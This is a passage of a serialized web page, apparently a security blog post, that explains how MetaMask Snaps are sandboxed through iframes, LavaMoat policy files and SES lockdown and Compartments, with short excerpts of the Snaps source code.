"type":29,"value":36690},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":24,"tag":1818,"props":36692,"children":36694},{"id":36693},"lavamoat-against-supply-chain-attacks-layer-2",[36695],{"type":29,"value":36696},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":24,"tag":25,"props":36698,"children":36699},{},[36700],{"type":29,"value":36701},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":24,"tag":25,"props":36703,"children":36704},{},[36705,36707,36713],{"type":29,"value":36706},"Malicious dependencies might utilize built-in modules like ",{"type":24,"tag":32,"props":36708,"children":36710},{"className":36709},[],[36711],{"type":29,"value":36712},"fs",{"type":29,"value":36714},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":24,"tag":25,"props":36716,"children":36717},{},[36718],{"type":29,"value":36719},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":24,"tag":25,"props":36721,"children":36722},{},[36723,36725,36732],{"type":29,"value":36724},"This is how a Policy file related to the iframes ",{"type":24,"tag":2033,"props":36726,"children":36729},{"href":36727,"rel":36728},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[2037],[36730],{"type":29,"value":36731},"looks",{"type":29,"value":195},{"type":24,"tag":73,"props":36734,"children":36736},{"className":1903,"code":36735,"language":743,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n      \"globals\": {\n        \"MessageEvent.prototype\": true,\n        \"WorkerGlobalScope\": true,\n        \"addEventListener\": true,\n        \"browser\": true,\n        \"chrome\": true,\n        \"location.origin\": true,\n        \"postMessage\": true,\n        \"removeEventListener\": true\n      },\n      \"packages\": {\n        \"@metamask/post-message-stream>@metamask/utils\": true,\n        \"@metamask/post-message-stream>readable-stream\": true\n      }\n    }\n",[36737],{"type":24,"tag":32,"props":36738,"children":36739},{"__ignoreMap":7},[36740,36752,36763,36783,36803,36823,36843,36863,36883,36903,36919,36926,36937,36957,36973,36980],{"type":24,"tag":83,"props":36741,"children":36742},{"class":85,"line":86},[36743,36748],{"type":24,"tag":83,"props":36744,"children":36745},{"style":187},[36746],{"type":29,"value":36747},"\"@metamask/post-message-stream\"",{"type":24,"tag":83,"props":36749,"children":36750},{"style":107},[36751],{"type":29,"value":2074},{"type":24,"tag":83,"props":36753,"children":36754},{"class":85,"line":113},[36755,36759],{"type":24,"tag":83,"props":36756,"children":36757},{"style":137},[36758],{"type":29,"value":2094},{"type":24,"tag":83,"props":36760,"children":36761},{"style":107},[36762],{"type":29,"value":2074},{"type":24,"tag":83,"props":36764,"children":36765},{"class":85,"line":128},[36766,36771,36775,36779],{"type":24,"tag":83,"props":36767,"children":36768},{"style":137},[36769],{"type":29,"value":36770},"        \"MessageEvent.prototype\"",{"type":24,"tag":83,"props":36772,"children":36773},{"style":107},[36774],{"type":29,"value":1920},{"type":24,"tag":83,"props":36776,"children":36777},{"style":90},[36778],{"type":29,"value":1237},{"type":24,"tag":83,"props":36780,"children":36781},{"style":107},[36782],{"type":29,"value":989},{"type":24,"tag":83,"props":36784,"children":36785},{"class":85,"line":183},[36786,36791,36795,36799],{"type":24,"tag":83,"props":36787,"children":36788},{"style":137},[36789],{"type":29,"value":36790},"        \"WorkerGlobalScope\"",{"type":24,"tag":83,"props":36792,"children":36793},{"style":107},[36794],{"type":29,"value":1920},{"type":24,"tag":83,"props":36796,"children":36797},{"style":90},[36798],{"type":29,"value":1237},{"type":24,"tag":83,"props":36800,"children":36801},{"style":107},[36802],{"type":29,"value":989},{"type":24,"tag":83,"props":36804,"children":36805},{"class":85,"line":203},[36806,36811,36815,36819],{"type":24,"tag":83,"props":36807,"children":36808},{"style":137},[36809],{"type":29,"value":36810},"        \"addEventListener\"",{"type":24,"tag":83,"props":36812,"children":36813},{"style":107},[36814],{"type":29,"value":1920},{"type":24,"tag":83,"props":36816,"children":36817},{"style":90},[36818],{"type":29,"value":1237},{"type":24,"tag":83,"props":36820,"children":36821},{"style":107},[36822],{"type":29,"value":989},{"type":24,"tag":83,"props":36824,"children":36825},{"class":85,"line":212},[36826,36831,36835,36839],{"type":24,"tag":83,"props":36827,"children":36828},{"style":137},[36829],{"type":29,"value":36830},"        \"browser\"",{"type":24,"tag":83,"props":36832,"children":36833},{"style":107},[36834],{"type":29,"value":1920},{"type":24,"tag":83,"props":36836,"children":36837},{"style":90},[36838],{"type":29,"value":1237},{"type":24,"tag":83,"props":36840,"children":36841},{"style":107},[36842],{"type":29,"value":989},{"type":24,"tag":83,"props":36844,"children":36845},{"class":85,"line":256},[36846,36851,36855,36859],{"type":24,"tag":83,"props":36847,"children":36848},{"style":137},[36849],{"type":29,"value":36850},"        \"chrome\"",{"type":24,"tag":83,"props":36852,"children":36853},{"style":107},[36854],{"type":29,"value":1920},{"type":24,"tag":83,"props":36856,"children":36857},{"style":90},[36858],{"type":29,"value":1237},{"type":24,"tag":83,"props":36860,"children":36861},{"style":107},[36862],{"type":29,"value":989},{"type":24,"tag":83,"props":36864,"children":36865},{"class":85,"line":270},[36866,36871,36875,36879],{"type":24,"tag":83,"props":36867,"children":36868},{"style":137},[36869],{"type":29,"value":36870},"        \"location.origin\"",{"type":24,"tag":83,"props":36872,"children":36873},{"style":107},[36874],{"type":29,"value":1920},{"type":24,"tag":83,"props":36876,"children":36877},{"style":90},[36878],{"type":29,"value":1237},{"type":24,"tag":83,"props":36880,"children":36881},{"style":107},[36882],{"type":29,"value":989},{"type":24,"tag":83,"props":36884,"children":36885},{"class":85,"line":302},[36886,36891,36895,36899],{"type":24,"tag":83,"props":36887,"children":36888},{"style":137},[36889],{"type":29,"value":36890},"        \"postMessage\"",{"type":24,"tag":83,"props":36892,"children":36893},{"style":107},[36894],{"type":29,"value":1920},{"type":24,"tag":83,"props":36896,"children":36897},{"style":90},[36898],{"type":29,"value":1237},{"type":24,"tag":83,"props":36900,"children":36901},{"style":107},[36902],{"type":29,"value":989},{"type":24,"tag":83,"props":36904,"children":36905},{"class":85,"line":324},[36906,36911,36915],{"type":24,"tag":83,"props":36907,"children":36908},{"style":137},[36909],{"type":29,"value":36910},"        \"removeEventListener\"",{"type":24,"tag":83,"props":36912,"children":36913},{"style":107},[36914],{"type":29,"value":1920},{"type":24,"tag":83,"props":36916,"children":36917},{"style":90},[36918],{"type":29,"value":2115},{"type":24,"tag":83,"props":36920,"children":36921},{"class":85,"line":345},[36922],{"type":24,"tag":83,"props":36923,"children":36924},{"style":107},[36925],{"type":29,"value":2197},{"type":24,"tag":83,"props":36927,"children":36928},{"class":85,"line":358},[36929,36933],{"type":24,"tag":83,"props":36930,"children":36931},{"style":137},[36932],{"type":29,"value":2205},{"type":24,"tag":83,"props":36934,"children":36935},{"style":107},[36936],{"type":29,"value":2074},{"type":24,"tag":83,"props":36938,"children":36939},{"class":85,"line":367},[36940,36945,36949,36953],{"type":24,"tag":83,"props":36941,"children":36942},{"style":137},[36943],{"type":29,"value":36944},"        \"@metamask/post-message-stream>@metamask/utils\"",{"type":24,"tag":83,"props":36946,"children":36947},{"style":107},[36948],{"type":29,"value":1920},{"type":24,"tag":83,"props":36950,"children":36951},{"style":90},[36952],{"type":29,"value":1237},{"type":24,"tag":83,"props":36954,"children":36955},{"style":107},[36956],{"type":29,"value":989},{"type":24,"tag":83,"props":36958,"children":36959},{"class":85,"line":406},[36960,36965,36969],{"type":24,"tag":83,"props":36961,"children":36962},{"style":137},[36963],{"type":29,"value":36964},"        \"@metamask/post-message-stream>readable-stream\"",{"type":24,"tag":83,"props":36966,"children":36967},{"style":107},[36968],{"type":29,"value":1920},{"type":24,"tag":83,"props":36970,"children":36971},{"style":90},[36972],{"type":29,"value":2115},{"type":24,"tag":83,"props":36974,"children":36975},{"class":85,"line":427},[36976],{"type":24,"tag":83,"props":36977,"children":36978},{"style":107},[36979],{"type":29,"value":364},{"type":24,"tag":83,"props":36981,"children":36982},{"class":85,"line":440},[36983],{"type":24,"tag":83,"props":36984,"children":36985},{"style":107},[36986],{"type":29,"value":446},{"type":24,"tag":25,"props":36988,"children":36989},{},[36990,36992,36998,37000,37006,37008,37014,37016,37022,37023,37029],{"type":29,"value":36991},"One crucial aspect of the policy, apart from the ",{"type":24,"tag":32,"props":36993,"children":36995},{"className":36994},[],[36996],{"type":29,"value":36997},"globals",{"type":29,"value":36999}," section, is the ",{"type":24,"tag":32,"props":37001,"children":37003},{"className":37002},[],[37004],{"type":29,"value":37005},"packages",{"type":29,"value":37007}," segment. This section permits the ",{"type":24,"tag":32,"props":37009,"children":37011},{"className":37010},[],[37012],{"type":29,"value":37013},"@metamask/post-message-stream",{"type":29,"value":37015},"package to exclusively interact with the package ",{"type":24,"tag":32,"props":37017,"children":37019},{"className":37018},[],[37020],{"type":29,"value":37021},"@metamask/utils",{"type":29,"value":2287},{"type":24,"tag":32,"props":37024,"children":37026},{"className":37025},[],[37027],{"type":29,"value":37028},"readable-stream",{"type":29,"value":37030},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":24,"tag":25,"props":37032,"children":37033},{},[37034,37036,37042],{"type":29,"value":37035},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":24,"tag":32,"props":37037,"children":37039},{"className":37038},[],[37040],{"type":29,"value":37041},"lockdown",{"type":29,"value":37043}," function to freeze all javascript builtins prototypes.",{"type":24,"tag":1818,"props":37045,"children":37047},{"id":37046},"secure-ecmascript-ses-sandbox-layer-3",[37048],{"type":29,"value":37049},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":24,"tag":25,"props":37051,"children":37052},{},[37053,37055,37062],{"type":29,"value":37054},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":24,"tag":2033,"props":37056,"children":37059},{"href":37057,"rel":37058},"https://github.com/endojs/endo/tree/master/packages/ses",[2037],[37060],{"type":29,"value":37061},"Secure EcmaScript (SES)",{"type":29,"value":37063}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":24,"tag":18631,"props":37065,"children":37067},{"id":37066},"ses-fundamentals",[37068],{"type":29,"value":37069},"SES Fundamentals",{"type":24,"tag":37071,"props":37072,"children":37073},"h5",{"id":37041},[37074],{"type":29,"value":37075},"Lockdown",{"type":24,"tag":25,"props":37077,"children":37078},{},[37079,37081,37087],{"type":29,"value":37080},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":24,"tag":32,"props":37082,"children":37084},{"className":37083},[],[37085],{"type":29,"value":37086},"lockdown()",{"type":29,"value":37088}," function, which protects javascript objects against some attacks, mainly:",{"type":24,"tag":63,"props":37090,"children":37091},{},[37092,37104],{"type":24,"tag":67,"props":37093,"children":37094},{},[37095,37097,37102],{"type":29,"value":37096},"Prototype Pollution\nLockdown executes ",{"type":24,"tag":32,"props":37098,"children":37100},{"className":37099},[],[37101],{"type":29,"value":2326},{"type":29,"value":37103}," against all javascript builtins prototypes, preventing these attacks.",{"type":24,"tag":67,"props":37105,"children":37106},{},[37107,37109,37115,37117,37123],{"type":29,"value":37108},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":24,"tag":32,"props":37110,"children":37112},{"className":37111},[],[37113],{"type":29,"value":37114},"trace",{"type":29,"value":37116}," attribute in an ",{"type":24,"tag":32,"props":37118,"children":37120},{"className":37119},[],[37121],{"type":29,"value":37122},"Error",{"type":29,"value":37124}," object, which contains the stack trace of the error.",{"type":24,"tag":37071,"props":37126,"children":37128},{"id":37127},"compartment",[37129],{"type":29,"value":37130},"Compartment",{"type":24,"tag":25,"props":37132,"children":37133},{},[37134,37136,37142,37144,37149],{"type":29,"value":37135},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":24,"tag":32,"props":37137,"children":37139},{"className":37138},[],[37140],{"type":29,"value":37141},"globalThis",{"type":29,"value":37143}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":24,"tag":32,"props":37145,"children":37147},{"className":37146},[],[37148],{"type":29,"value":37141},{"type":29,"value":37150}," context is incapable of tampering with security.",{"type":24,"tag":73,"props":37152,"children":37154},{"className":35348,"code":37153,"language":35350,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[37155],{"type":24,"tag":32,"props":37156,"children":37157},{"__ignoreMap":7},[37158,37187,37220],{"type":24,"tag":83,"props":37159,"children":37160},{"class":85,"line":86},[37161,37165,37170,37174,37178,37183],{"type":24,"tag":83,"props":37162,"children":37163},{"style":90},[37164],{"type":29,"value":9401},{"type":24,"tag":83,"props":37166,"children":37167},{"style":137},[37168],{"type":29,"value":37169}," c",{"type":24,"tag":83,"props":37171,"children":37172},{"style":143},[37173],{"type":29,"value":146},{"type":24,"tag":83,"props":37175,"children":37176},{"style":90},[37177],{"type":29,"value":944},{"type":24,"tag":83,"props":37179,"children":37180},{"style":101},[37181],{"type":29,"value":37182}," Compartment",{"type":24,"tag":83,"props":37184,"children":37185},{"style":107},[37186],{"type":29,"value":267},{"type":24,"tag":83,"props":37188,"children":37189},{"class":85,"line":113},[37190,37194,37198,37202,37206,37211,37215],{"type":24,"tag":83,"props":37191,"children":37192},{"style":137},[37193],{"type":29,"value":2891},{"type":24,"tag":83,"props":37195,"children":37196},{"style":107},[37197],{"type":29,"value":161},{"type":24,"tag":83,"props":37199,"children":37200},{"style":137},[37201],{"type":29,"value":37141},{"type":24,"tag":83,"props":37203,"children":37204},{"style":143},[37205],{"type":29,"value":877},{"type":24,"tag":83,"props":37207,"children":37208},{"style":137},[37209],{"type":29,"value":37210}," globalThis",{"type":24,"tag":83,"props":37212,"children":37213},{"style":107},[37214],{"type":29,"value":16963},{"type":24,"tag":83,"props":37216,"children":37217},{"style":2735},[37218],{"type":29,"value":37219},"// false\n",{"type":24,"tag":83,"props":37221,"children":37222},{"class":85,"line":128},[37223,37227,37231,37235,37239,37244,37248,37252,37256],{"type":24,"tag":83,"props":37224,"children":37225},{"style":137},[37226],{"type":29,"value":2891},{"type":24,"tag":83,"props":37228,"children":37229},{"style":107},[37230],{"type":29,"value":161},{"type":24,"tag":83,"props":37232,"children":37233},{"style":137},[37234],{"type":29,"value":37141},{"type":24,"tag":83,"props":37236,"children":37237},{"style":107},[37238],{"type":29,"value":161},{"type":24,"tag":83,"props":37240,"children":37241},{"style":137},[37242],{"type":29,"value":37243},"JSON",{"type":24,"tag":83,"props":37245,"children":37246},{"style":143},[37247],{"type":29,"value":877},{"type":24,"tag":83,"props":37249,"children":37250},{"style":137},[37251],{"type":29,"value":901},{"type":24,"tag":83,"props":37253,"children":37254},{"style":107},[37255],{"type":29,"value":16963},{"type":24,"tag":83,"props":37257,"children":37258},{"style":2735},[37259],{"type":29,"value":37260},"// true\n",{"type":24,"tag":25,"props":37262,"children":37263},{},[37264,37266,37272,37274,37280,37282,37287],{"type":29,"value":37265},"Compartment also changes the behaviour of evaluators functions such as ",{"type":24,"tag":32,"props":37267,"children":37269},{"className":37268},[],[37270],{"type":29,"value":37271},"eval",{"type":29,"value":37273}," and the ",{"type":24,"tag":32,"props":37275,"children":37277},{"className":37276},[],[37278],{"type":29,"value":37279},"Function",{"type":29,"value":37281}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":24,"tag":32,"props":37283,"children":37285},{"className":37284},[],[37286],{"type":29,"value":37141},{"type":29,"value":161},{"type":24,"tag":37071,"props":37289,"children":37291},{"id":37290},"endowments",[37292],{"type":29,"value":37293},"Endowments",{"type":24,"tag":25,"props":37295,"children":37296},{},[37297,37299,37303,37305,37310],{"type":29,"value":37298},"While creating a Compartment, it is possible to specify ",{"type":24,"tag":2655,"props":37300,"children":37301},{},[37302],{"type":29,"value":37290},{"type":29,"value":37304},". These endowments constitute objects that become accessible within the Compartment's ",{"type":24,"tag":32,"props":37306,"children":37308},{"className":37307},[],[37309],{"type":29,"value":37141},{"type":29,"value":37311},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":24,"tag":25,"props":37313,"children":37314},{},[37315,37317,37323],{"type":29,"value":37316},"In addition, SES provides the ",{"type":24,"tag":32,"props":37318,"children":37320},{"className":37319},[],[37321],{"type":29,"value":37322},"harden()",{"type":29,"value":37324}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":24,"tag":18631,"props":37326,"children":37328},{"id":37327},"setting-up-snaps-execution-env",[37329],{"type":29,"value":37330},"Setting up Snaps Execution Env",{"type":24,"tag":25,"props":37332,"children":37333},{},[37334],{"type":29,"value":37335},"When starting a snap, the setup follows these steps:",{"type":24,"tag":63,"props":37337,"children":37338},{},[37339],{"type":24,"tag":67,"props":37340,"children":37341},{},[37342],{"type":24,"tag":2040,"props":37343,"children":37344},{},[37345,37347],{"type":29,"value":37346},"Create endowments based on snap ",{"type":24,"tag":2033,"props":37348,"children":37351},{"href":37349,"rel":37350},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[2037],[37352],{"type":29,"value":37353},"permissions",{"type":24,"tag":73,"props":37355,"children":37357},{"className":35348,"code":37356,"language":35350,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n    snap,\n    ethereum,\n    snapId,\n    _endowments,\n);\n",[37358],{"type":24,"tag":32,"props":37359,"children":37360},{"__ignoreMap":7},[37361,37411,37423,37434,37446,37458],{"type":24,"tag":83,"props":37362,"children":37363},{"class":85,"line":86},[37364,37368,37372,37376,37380,37385,37389,37394,37398,37402,37407],{"type":24,"tag":83,"props":37365,"children":37366},{"style":90},[37367],{"type":29,"value":9401},{"type":24,"tag":83,"props":37369,"children":37370},{"style":107},[37371],{"type":29,"value":9333},{"type":24,"tag":83,"props":37373,"children":37374},{"style":137},[37375],{"type":29,"value":37290},{"type":24,"tag":83,"props":37377,"children":37378},{"style":107},[37379],{"type":29,"value":568},{"type":24,"tag":83,"props":37381,"children":37382},{"style":137},[37383],{"type":29,"value":37384},"teardown",{"type":24,"tag":83,"props":37386,"children":37387},{"style":107},[37388],{"type":29,"value":1920},{"type":24,"tag":83,"props":37390,"children":37391},{"style":137},[37392],{"type":29,"value":37393},"endowmentTeardown",{"type":24,"tag":83,"props":37395,"children":37396},{"style":107},[37397],{"type":29,"value":35934},{"type":24,"tag":83,"props":37399,"children":37400},{"style":143},[37401],{"type":29,"value":1275},{"type":24,"tag":83,"props":37403,"children":37404},{"style":101},[37405],{"type":29,"value":37406}," createEndowments",{"type":24,"tag":83,"props":37408,"children":37409},{"style":107},[37410],{"type":29,"value":3208},{"type":24,"tag":83,"props":37412,"children":37413},{"class":85,"line":113},[37414,37419],{"type":24,"tag":83,"props":37415,"children":37416},{"style":137},[37417],{"type":29,"value":37418},"    snap",{"type":24,"tag":83,"props":37420,"children":37421},{"style":107},[37422],{"type":29,"value":989},{"type":24,"tag":83,"props":37424,"children":37425},{"class":85,"line":128},[37426,37430],{"type":24,"tag":83,"props":37427,"children":37428},{"style":137},[37429],{"type":29,"value":31228},{"type":24,"tag":83,"props":37431,"children":37432},{"style":107},[37433],{"type":29,"value":989},{"type":24,"tag":83,"props":37435,"children":37436},{"class":85,"line":183},[37437,37442],{"type":24,"tag":83,"props":37438,"children":37439},{"style":137},[37440],{"type":29,"value":37441},"    snapId",{"type":24,"tag":83,"props":37443,"children":37444},{"style":107},[37445],{"type":29,"value":989},{"type":24,"tag":83,"props":37447,"children":37448},{"class":85,"line":203},[37449,37454],{"type":24,"tag":83,"props":37450,"children":37451},{"style":137},[37452],{"type":29,"value":37453},"    _endowments",{"type":24,"tag":83,"props":37455,"children":37456},{"style":107},[37457],{"type":29,"value":989},{"type":24,"tag":83,"props":37459,"children":37460},{"class":85,"line":212},[37461],{"type":24,"tag":83,"props":37462,"children":37463},{"style":107},[37464],{"type":29,"value":581},{"type":24,"tag":25,"props":37466,"children":37467},{},[37468],{"type":29,"value":37469},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":24,"tag":25,"props":37471,"children":37472},{},[37473,37475,37481,37483,37489],{"type":29,"value":37474},"One clear example is the ",{"type":24,"tag":32,"props":37476,"children":37478},{"className":37477},[],[37479],{"type":29,"value":37480},"endowment:network-access",{"type":29,"value":37482}," permission, that adds the ",{"type":24,"tag":32,"props":37484,"children":37486},{"className":37485},[],[37487],{"type":29,"value":37488},"fetch()",{"type":29,"value":37490}," function to the endowments.",{"type":24,"tag":25,"props":37492,"children":37493},{},[37494,37496,37502],{"type":29,"value":37495},"All endowments are protected with the ",{"type":24,"tag":32,"props":37497,"children":37499},{"className":37498},[],[37500],{"type":29,"value":37501},"harden",{"type":29,"value":37503}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":24,"tag":63,"props":37505,"children":37506},{"start":113},[37507],{"type":24,"tag":67,"props":37508,"children":37509},{},[37510],{"type":24,"tag":2040,"props":37511,"children":37512},{},[37513,37515],{"type":29,"value":37514},"Create the snap ",{"type":24,"tag":2033,"props":37516,"children":37519},{"href":37517,"rel":37518},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[2037],[37520],{"type":29,"value":37127},{"type":24,"tag":73,"props":37522,"children":37524},{"className":35348,"code":37523,"language":35350,"meta":7,"style":7},"const compartment = new Compartment({\n    ...endowments,\n    module: snapModule,\n    exports: snapModule.exports,\n});\n",[37525],{"type":24,"tag":32,"props":37526,"children":37527},{"__ignoreMap":7},[37528,37556,37572,37589,37614],{"type":24,"tag":83,"props":37529,"children":37530},{"class":85,"line":86},[37531,37535,37540,37544,37548,37552],{"type":24,"tag":83,"props":37532,"children":37533},{"style":90},[37534],{"type":29,"value":9401},{"type":24,"tag":83,"props":37536,"children":37537},{"style":137},[37538],{"type":29,"value":37539}," compartment",{"type":24,"tag":83,"props":37541,"children":37542},{"style":143},[37543],{"type":29,"value":146},{"type":24,"tag":83,"props":37545,"children":37546},{"style":90},[37547],{"type":29,"value":944},{"type":24,"tag":83,"props":37549,"children":37550},{"style":101},[37551],{"type":29,"value":37182},{"type":24,"tag":83,"props":37553,"children":37554},{"style":107},[37555],{"type":29,"value":180},{"type":24,"tag":83,"props":37557,"children":37558},{"class":85,"line":113},[37559,37564,37568],{"type":24,"tag":83,"props":37560,"children":37561},{"style":143},[37562],{"type":29,"value":37563},"    ...",{"type":24,"tag":83,"props":37565,"children":37566},{"style":137},[37567],{"type":29,"value":37290},{"type":24,"tag":83,"props":37569,"children":37570},{"style":107},[37571],{"type":29,"value":989},{"type":24,"tag":83,"props":37573,"children":37574},{"class":85,"line":128},[37575,37580,37585],{"type":24,"tag":83,"props":37576,"children":37577},{"style":137},[37578],{"type":29,"value":37579},"    module:",{"type":24,"tag":83,"props":37581,"children":37582},{"style":137},[37583],{"type":29,"value":37584}," snapModule",{"type":24,"tag":83,"props":37586,"children":37587},{"style":107},[37588],{"type":29,"value":989},{"type":24,"tag":83,"props":37590,"children":37591},{"class":85,"line":183},[37592,37597,37601,37605,37610],{"type":24,"tag":83,"props":37593,"children":37594},{"style":137},[37595],{"type":29,"value":37596},"    exports:",{"type":24,"tag":83,"props":37598,"children":37599},{"style":137},[37600],{"type":29,"value":37584},{"type":24,"tag":83,"props":37602,"children":37603},{"style":107},[37604],{"type":29,"value":161},{"type":24,"tag":83,"props":37606,"children":37607},{"style":137},[37608],{"type":29,"value":37609},"exports",{"type":24,"tag":83,"props":37611,"children":37612},{"style":107},[37613],{"type":29,"value":989},{"type":24,"tag":83,"props":37615,"children":37616},{"class":85,"line":203},[37617],{"type":24,"tag":83,"props":37618,"children":37619},{"style":107},[37620],{"type":29,"value":35072},{"type":24,"tag":25,"props":37622,"children":37623},{},[37624,37626,37632,37633,37638,37640,37645],{"type":29,"value":37625},"Note: ",{"type":24,"tag":32,"props":37627,"children":37629},{"className":37628},[],[37630],{"type":29,"value":37631},"module",{"type":29,"value":2287},{"type":24,"tag":32,"props":37634,"children":37636},{"className":37635},[],[37637],{"type":29,"value":37609},{"type":29,"value":37639}," are passed as endowments, but without being ",{"type":24,"tag":2655,"props":37641,"children":37642},{},[37643],{"type":29,"value":37644},"hardened",{"type":29,"value":37646},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":24,"tag":63,"props":37648,"children":37649},{"start":128},[37650],{"type":24,"tag":67,"props":37651,"children":37652},{},[37653],{"type":24,"tag":2040,"props":37654,"children":37655},{},[37656,37658],{"type":29,"value":37657},"Evaluate the snap code inside the ",{"type":24,"tag":2033,"props":37659,"children":37662},{"href":37660,"rel":37661},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[2037],[37663],{"type":29,"value":37127},{"type":24,"tag":73,"props":37665,"children":37667},{"className":35348,"code":37666,"language":35350,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n    compartment.evaluate(sourceCode);\n    this.registerSnapExports(snapId, snapModule);\n});\n",[37668],{"type":24,"tag":32,"props":37669,"children":37670},{"__ignoreMap":7},[37671,37712,37742,37779],{"type":24,"tag":83,"props":37672,"children":37673},{"class":85,"line":86},[37674,37678,37682,37686,37691,37695,37699,37704,37708],{"type":24,"tag":83,"props":37675,"children":37676},{"style":117},[37677],{"type":29,"value":32655},{"type":24,"tag":83,"props":37679,"children":37680},{"style":90},[37681],{"type":29,"value":35451},{"type":24,"tag":83,"props":37683,"children":37684},{"style":107},[37685],{"type":29,"value":161},{"type":24,"tag":83,"props":37687,"children":37688},{"style":101},[37689],{"type":29,"value":37690},"executeInSnapContext",{"type":24,"tag":83,"props":37692,"children":37693},{"style":107},[37694],{"type":29,"value":558},{"type":24,"tag":83,"props":37696,"children":37697},{"style":137},[37698],{"type":29,"value":35754},{"type":24,"tag":83,"props":37700,"children":37701},{"style":107},[37702],{"type":29,"value":37703},", () ",{"type":24,"tag":83,"props":37705,"children":37706},{"style":90},[37707],{"type":29,"value":14564},{"type":24,"tag":83,"props":37709,"children":37710},{"style":107},[37711],{"type":29,"value":125},{"type":24,"tag":83,"props":37713,"children":37714},{"class":85,"line":113},[37715,37720,37724,37729,37733,37738],{"type":24,"tag":83,"props":37716,"children":37717},{"style":137},[37718],{"type":29,"value":37719},"    compartment",{"type":24,"tag":83,"props":37721,"children":37722},{"style":107},[37723],{"type":29,"value":161},{"type":24,"tag":83,"props":37725,"children":37726},{"style":101},[37727],{"type":29,"value":37728},"evaluate",{"type":24,"tag":83,"props":37730,"children":37731},{"style":107},[37732],{"type":29,"value":558},{"type":24,"tag":83,"props":37734,"children":37735},{"style":137},[37736],{"type":29,"value":37737},"sourceCode",{"type":24,"tag":83,"props":37739,"children":37740},{"style":107},[37741],{"type":29,"value":581},{"type":24,"tag":83,"props":37743,"children":37744},{"class":85,"line":128},[37745,37749,37753,37758,37762,37766,37770,37775],{"type":24,"tag":83,"props":37746,"children":37747},{"style":90},[37748],{"type":29,"value":35798},{"type":24,"tag":83,"props":37750,"children":37751},{"style":107},[37752],{"type":29,"value":161},{"type":24,"tag":83,"props":37754,"children":37755},{"style":101},[37756],{"type":29,"value":37757},"registerSnapExports",{"type":24,"tag":83,"props":37759,"children":37760},{"style":107},[37761],{"type":29,"value":558},{"type":24,"tag":83,"props":37763,"children":37764},{"style":137},[37765],{"type":29,"value":35754},{"type":24,"tag":83,"props":37767,"children":37768},{"style":107},[37769],{"type":29,"value":568},{"type":24,"tag":83,"props":37771,"children":37772},{"style":137},[37773],{"type":29,"value":37774},"snapModule",{"type":24,"tag":83,"props":37776,"children":37777},{"style":107},[37778],{"type":29,"value":581},{"type":24,"tag":83,"props":37780,"children":37781},{"class":85,"line":183},[37782],{"type":24,"tag":83,"props":37783,"children":37784},{"style":107},[37785],{"type":29,"value":35072},{"type":24,"tag":25,"props":37787,"children":37788},{},[37789,37791,37797,37798,37804,37805,37811],{"type":29,"value":37790},"According to the documentation, the snap must contain one of the following function exports: ",{"type":24,"tag":32,"props":37792,"children":37794},{"className":37793},[],[37795],{"type":29,"value":37796},"onRpcRequest",{"type":29,"value":568},{"type":24,"tag":32,"props":37799,"children":37801},{"className":37800},[],[37802],{"type":29,"value":37803},"onTransaction",{"type":29,"value":12879},{"type":24,"tag":32,"props":37806,"children":37808},{"className":37807},[],[37809],{"type":29,"value":37810},"onCronjob",{"type":29,"value":161},{"type":24,"tag":25,"props":37813,"children":37814},{},[37815,37817,37822],{"type":29,"value":37816},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":24,"tag":32,"props":37818,"children":37820},{"className":37819},[],[37821],{"type":29,"value":37141},{"type":29,"value":37823}," environment of that Compartment.",{"type":24,"tag":25,"props":37825,"children":37826},{},[37827],{"type":29,"value":37828},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":24,"tag":51,"props":37830,"children":37832},{"id":37831},"vulnerability-research",[37833],{"type":29,"value":37834},"Vulnerability research",{"type":24,"tag":1818,"props":37836,"children":37838},{"id":37837},"possible-attacks",[37839],{"type":29,"value":37840},"Possible 